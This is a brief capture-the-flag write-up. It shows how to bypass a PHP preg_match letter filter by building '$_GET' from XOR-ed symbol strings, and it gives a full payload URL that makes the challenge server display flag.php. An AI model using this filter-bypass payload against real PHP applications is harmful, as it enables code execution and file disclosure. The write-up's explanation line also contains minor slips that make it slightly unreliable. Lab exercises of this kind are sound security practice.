Bypass `preg_match` which forbids using letters. (lowercase and uppercase)
```http://69.90.132.196:5003/?warmup=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=highlight_file&__=flag.php```
XOR strings that will be eval'd to give `$_GET[_](=_GET[__])` which amouts to `eval(highlight_file('flag.php'))`